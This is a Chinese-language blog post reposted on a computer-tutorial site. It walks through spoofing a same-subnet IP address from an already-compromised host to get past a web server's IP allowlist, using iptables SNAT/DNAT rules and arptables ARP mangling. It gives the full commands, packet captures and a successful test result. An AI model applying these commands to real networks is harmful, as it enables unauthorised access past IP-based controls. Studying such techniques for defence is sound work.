萬盛學電腦網

 萬盛學電腦網 >> 安全資訊防護 >> 利用防火牆進行同網段下的ip地址欺騙測試

利用防火牆進行同網段下的ip地址欺騙測試

  • 利用防火牆進行同網段下的ip地址欺騙測試
  • Tm3yShell7 blog .

    我們知道,tcp/ip在不同層次尋址的依據是不同的,要進行傳輸的信息往往是根據ip地址路由到相應的子網,然後在子網內根據mac地址找到相應的主機。 .

    可以看出,在保證主機通過計算得到的目的主機和自己在相同網段的情況下,主機便知道此次數據並不需要ip層路由,因此該數據在自己網段內尋址是完全依據mac地址的。在此情況下,我們對第三層ip地址的更改,就不會影響到數據在網絡中的傳遞。

    .

    如此一來,我們便可以隨意偽造同網段的ip地址,進行ip地址欺騙,同時保證通信的可達性。

    .

    這些工作理論上通過pcap很好實現,雖然目前為止網上還沒實現此類功能的成品程序。現在有趣的是我們將要使用保護我們安全的防火牆去實現它。主要利用點是iptables實現nat功能的部分。

    .

    兩款防火牆分別是:netfilter/iptables和ebtables(arptables) .

    為了使此次討論有價值,我們想象這樣一種情景,也是我碰到過的真實情況:我們得到了192.168.254.130這台機器的控制權,我們的目標機器是同網段的192.168.254.1的機器,這台機器的web服務限制了只有192.168.254.22可以訪問。
    192.168.254.1(目標服主機):

    \

    .


    192.168.254.130(我們已經控制的主機):

    \ .


    首先針對本地發往目的主機的包進行修改:
    對源地址為本地(-s 192.168.254.130)目的地址為192.168.254.1(-d 192.168.254.1)端口為80/tcp(-p tcp –dport 80)的數據包在POSTROUTING鏈進行所謂的NAT(SNAT,修改源地址為192.168.254.22):
    #iptables -t nat -A POSTROUTING -p tcp –dport 80 -s 192.168.254.130 -d 192.168.254.1 -j SNAT –to 192.168.254.22 .

    然後針對目的主機返回本機的數據包進行修改:
    參數意義基本同上(DNAT,修改目的地址為本機,以使本地網卡捕獲該數據包)
    #iptables -t nat -A PREROUTING -p tcp –sport 80 -s 192.168.254.1 -d 192.168.254.22 -j DNAT –to 192.168.254.130 .

    這樣可以了嗎?最開始我認為這樣就可以了, so lets check it out:
    #tcpdump -nn -i eth0 >test.dmp & #see if the packet transfer in the way we think
    #wget

    .

    結果是超時,我們看看問題出在哪裡:
    # cat test.dmp
    03:48:01.963477 arp who-has 192.168.254.1 tell 192.168.254.130
    03:48:02.377828 arp reply 192.168.254.1 is-at 00:50:56:c0:00:08
    03:48:02.399608 IP 192.168.254.22.59152 > 192.168.254.1.80: S 3652953733:3652953733(0) win 5840 <mss 1460,sackOK,timestamp 21218394 0,nop,wscale 6>
    03:48:02.456238 arp who-has 192.168.254.22 tell 192.168.254.1
    03:48:02.513615 arp who-has 192.168.254.22 tell 192.168.254.1
    03:48:03.513636 arp who-has 192.168.254.22 tell 192.168.254.1
    03:48:04.956832 arp who-has 192.168.254.22 tell 192.168.254.1
    03:48:05.513691 arp who-has 192.168.254.22 tell 192.168.254.1
    03:48:06.090730 IP 192.168.254.22.59152 > 192.168.254.1.80: S 3652953733:3652953733(0) win 5840 <mss 1460,sackOK,timestamp 21221394 0,nop,wscale 6>
    03:48:06.513826 arp who-has 192.168.254.22 tell 192.168.254.1
    03:48:10.958625 arp who-has 192.168.254.22 tell 192.168.254.1
    03:48:11.514137 arp who-has 192.168.254.22 tell 192.168.254.1 .

    我們可以看到, 直接發送標記有ip和mac地址的tcp協議數據包似乎並不能使主機把該包來源主機的mac地址緩存,因此我們還應更改我們主機查詢192.168.254.1的mac時的arp請求幀中的源地址。 .

    因為iptables工作在第三層,因此欲修改arp幀必須用到ebtables (arptables)

    .

    #arptables -A OUTPUT -s 192.168.254.130 -d 192.168.254.1 -j mangle –mangle-ip-s 192.168.254.22 .

    同理,最後 –mangle-ip-s的作用是“Mangles Source IP Address to given value.” 這樣目標主機便不會再廣播幀去尋找主機22的mac地址了。
    為了向1主機發送arp請求,需清除本機arp緩存:
    #arp -d 192.168.254.1
    #tcpdump -nn -i eth0 >test0.dmp &
    # wget 192.168.254.1/ip.php
    –2011-04-01 04:05:51–  
    Connecting to 192.168.254.1:80… connected.
    HTTP request sent, awaiting response… 200 OK
    Length: 15 [text/html]Saving to: `ip.php’
    100%[======================================>] 15         –.-K/s   in 0s
    2011-04-01 04:05:51 (1.93 MB/s) – `ip.php’ saved [15/15] .

    ip.php的功能是現實客戶端ip地址:
    #cat ip.php
    192.168.254.22 .

    由此可見,我們的欺騙成功了。

    .

    [本文來自:計算機技術網,我們的網址是,轉載請注明來源]
  • 上一篇:冷門安全軟件奧升殺毒(AS Anti-Virus)全面體驗
  • 下一篇:殺毒軟件防御層理念解析
  • .

    copyright © 萬盛學電腦網 all rights reserved